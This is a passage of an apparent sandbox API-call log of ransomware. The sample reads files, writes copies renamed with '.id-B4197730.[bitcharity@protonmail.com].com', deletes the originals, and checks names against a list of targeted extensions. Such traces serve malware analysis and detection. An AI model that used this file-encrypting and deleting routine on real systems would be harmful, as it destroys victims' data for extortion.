lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.529] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0136.530] SetEndOfFile (hFile=0x1038) returned 1 [0136.530] CloseHandle (hObject=0x1038) returned 1 [0136.537] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.537] SetEndOfFile (hFile=0x10b4) returned 1 [0136.539] CloseHandle (hObject=0x10b4) returned 1 [0136.539] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.539] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0136.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.540] lstrlenW (lpString=".doc") returned 4 [0136.540] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.540] lstrlenW (lpString=".docx") returned 5 [0136.540] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.540] lstrlenW (lpString=".pdf") returned 4 [0136.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.540] lstrlenW (lpString=".xls") returned 4 [0136.540] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.540] lstrlenW (lpString=".xlsx") returned 5 [0136.540] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.540] lstrlenW (lpString=".ppt") returned 4 [0136.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.540] lstrlenW (lpString=".zip") returned 4 [0136.540] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.540] lstrlenW (lpString=".rar") returned 4 [0136.540] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.540] lstrlenW (lpString=".bz2") returned 4 [0136.540] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.540] lstrlenW (lpString=".7z") returned 3 [0136.540] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.541] lstrlenW (lpString=".dbf") returned 4 [0136.541] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.541] lstrlenW (lpString=".1cd") returned 4 [0136.541] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.541] lstrlenW (lpString=".jpg") returned 4 [0136.541] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.541] lstrlenW (lpString=".doc") returned 4 [0136.541] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.541] lstrlenW (lpString=".docx") returned 5 [0136.541] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.541] lstrlenW (lpString=".pdf") returned 4 [0136.541] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.541] lstrlenW (lpString=".xls") returned 4 [0136.541] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.541] lstrlenW (lpString=".xlsx") returned 5 [0136.541] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.541] lstrlenW (lpString=".ppt") returned 4 [0136.541] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.541] lstrlenW (lpString=".zip") returned 4 [0136.541] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.541] lstrlenW (lpString=".rar") returned 4 [0136.541] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.541] lstrlenW (lpString=".bz2") returned 4 [0136.541] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.542] lstrlenW (lpString=".7z") returned 3 [0136.542] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.542] lstrlenW (lpString=".dbf") returned 4 [0136.542] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.542] lstrlenW (lpString=".1cd") returned 4 [0136.542] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0136.542] lstrlenW (lpString=".jpg") returned 4 [0136.542] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.542] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0136.542] lstrlenW (lpString="LocalizedData.xml") returned 17 [0136.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.542] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=82374) returned 1 [0136.543] CloseHandle (hObject=0x10b4) returned 1 [0136.543] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0136.543] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.543] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.543] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.543] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.543] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0136.547] GetLastError () returned 0x0 [0136.547] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x141c6, lpOverlapped=0x0) returned 1 [0136.603] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x141d0, lpOverlapped=0x0) returned 1 [0136.605] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.605] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0136.605] SetEndOfFile (hFile=0x1038) returned 1 [0136.606] CloseHandle (hObject=0x1038) returned 1 [0136.608] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.608] SetEndOfFile (hFile=0x10b4) returned 1 [0136.610] CloseHandle (hObject=0x10b4) returned 1 [0136.610] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.610] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0136.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.611] lstrlenW (lpString=".doc") returned 4 [0136.611] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.611] lstrlenW (lpString=".docx") returned 5 [0136.611] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.611] lstrlenW (lpString=".pdf") returned 4 [0136.611] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.611] lstrlenW (lpString=".xls") returned 4 [0136.611] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.611] lstrlenW (lpString=".xlsx") returned 5 [0136.611] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.611] lstrlenW (lpString=".ppt") returned 4 [0136.611] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.611] lstrlenW (lpString=".zip") returned 4 [0136.611] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.611] lstrlenW (lpString=".rar") returned 4 [0136.611] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.611] lstrlenW (lpString=".bz2") returned 4 [0136.611] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.611] lstrlenW (lpString=".7z") returned 3 [0136.611] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.611] lstrlenW (lpString=".dbf") returned 4 [0136.611] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.611] lstrlenW (lpString=".1cd") returned 4 [0136.611] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.611] lstrlenW (lpString=".jpg") returned 4 [0136.612] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.612] lstrlenW (lpString=".doc") returned 4 [0136.612] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.612] lstrlenW (lpString=".docx") returned 5 [0136.612] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.612] lstrlenW (lpString=".pdf") returned 4 [0136.612] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.612] lstrlenW (lpString=".xls") returned 4 [0136.612] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.612] lstrlenW (lpString=".xlsx") returned 5 [0136.612] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.612] lstrlenW (lpString=".ppt") returned 4 [0136.612] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.612] lstrlenW (lpString=".zip") returned 4 [0136.612] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.612] lstrlenW (lpString=".rar") returned 4 [0136.612] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.612] lstrlenW (lpString=".bz2") returned 4 [0136.612] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.612] lstrlenW (lpString=".7z") returned 3 [0136.612] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.612] lstrlenW (lpString=".dbf") returned 4 [0136.612] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.613] lstrlenW (lpString=".1cd") returned 4 [0136.613] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0136.613] lstrlenW (lpString=".jpg") returned 4 [0136.613] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.613] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0136.613] lstrlenW (lpString="eula.rtf") returned 8 [0136.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.622] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=54456) returned 1 [0136.622] CloseHandle (hObject=0x10b4) returned 1 [0136.622] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0136.622] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.622] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.622] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.622] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.622] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0136.623] GetLastError () returned 0x0 [0136.623] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0136.729] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0136.732] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.732] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.732] SetEndOfFile (hFile=0x1038) returned 1 [0136.732] CloseHandle (hObject=0x1038) returned 1 [0136.737] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.737] SetEndOfFile (hFile=0x10b4) returned 1 [0136.738] CloseHandle (hObject=0x10b4) returned 1 [0136.738] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.739] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0136.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.739] lstrlenW (lpString=".doc") returned 4 [0136.739] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.739] lstrlenW (lpString=".docx") returned 5 [0136.739] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.739] lstrlenW (lpString=".pdf") returned 4 [0136.739] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.739] lstrlenW (lpString=".xls") returned 4 [0136.739] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.739] lstrlenW (lpString=".xlsx") returned 5 [0136.740] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.740] lstrlenW (lpString=".ppt") returned 4 [0136.740] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.740] lstrlenW (lpString=".zip") returned 4 [0136.740] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.740] lstrlenW (lpString=".rar") returned 4 [0136.740] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.740] lstrlenW (lpString=".bz2") returned 4 [0136.740] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.740] lstrlenW (lpString=".7z") returned 3 [0136.740] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.740] lstrlenW (lpString=".dbf") returned 4 [0136.740] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.740] lstrlenW (lpString=".1cd") returned 4 [0136.740] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.740] lstrlenW (lpString=".jpg") returned 4 [0136.740] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.740] lstrlenW (lpString=".doc") returned 4 [0136.740] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.740] lstrlenW (lpString=".docx") returned 5 [0136.740] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.741] lstrlenW (lpString=".pdf") returned 4 [0136.741] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.741] lstrlenW (lpString=".xls") returned 4 [0136.741] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.741] lstrlenW (lpString=".xlsx") returned 5 [0136.741] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.741] lstrlenW (lpString=".ppt") returned 4 [0136.741] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.741] lstrlenW (lpString=".zip") returned 4 [0136.741] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.741] lstrlenW (lpString=".rar") returned 4 [0136.741] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.741] lstrlenW (lpString=".bz2") returned 4 [0136.741] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.741] lstrlenW (lpString=".7z") returned 3 [0136.741] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.741] lstrlenW (lpString=".dbf") returned 4 [0136.741] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.741] lstrlenW (lpString=".1cd") returned 4 [0136.741] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0136.741] lstrlenW (lpString=".jpg") returned 4 [0136.741] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.742] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0136.742] lstrlenW (lpString="eula.rtf") returned 8 [0136.742] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.742] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=3865) returned 1 [0136.742] CloseHandle (hObject=0x10b4) returned 1 [0136.748] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0136.748] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.748] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.748] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.748] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.748] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0136.749] GetLastError () returned 0x0 [0136.749] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xf19, lpOverlapped=0x0) returned 1 [0136.833] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf20, lpOverlapped=0x0) returned 1 [0136.835] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.835] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.835] SetEndOfFile (hFile=0x1038) returned 1 [0136.835] CloseHandle (hObject=0x1038) returned 1 [0136.837] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.837] SetEndOfFile (hFile=0x10b4) returned 1 [0136.838] CloseHandle (hObject=0x10b4) returned 1 [0136.838] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.838] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0136.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.839] lstrlenW (lpString=".doc") returned 4 [0136.839] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.839] lstrlenW (lpString=".docx") returned 5 [0136.839] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.839] lstrlenW (lpString=".pdf") returned 4 [0136.839] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.839] lstrlenW (lpString=".xls") returned 4 [0136.839] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.839] lstrlenW (lpString=".xlsx") returned 5 [0136.839] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.839] lstrlenW (lpString=".ppt") returned 4 [0136.839] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.839] lstrlenW (lpString=".zip") returned 4 [0136.839] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.839] lstrlenW (lpString=".rar") returned 4 [0136.839] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.839] lstrlenW (lpString=".bz2") returned 4 [0136.839] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.839] lstrlenW (lpString=".7z") returned 3 [0136.839] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.839] lstrlenW 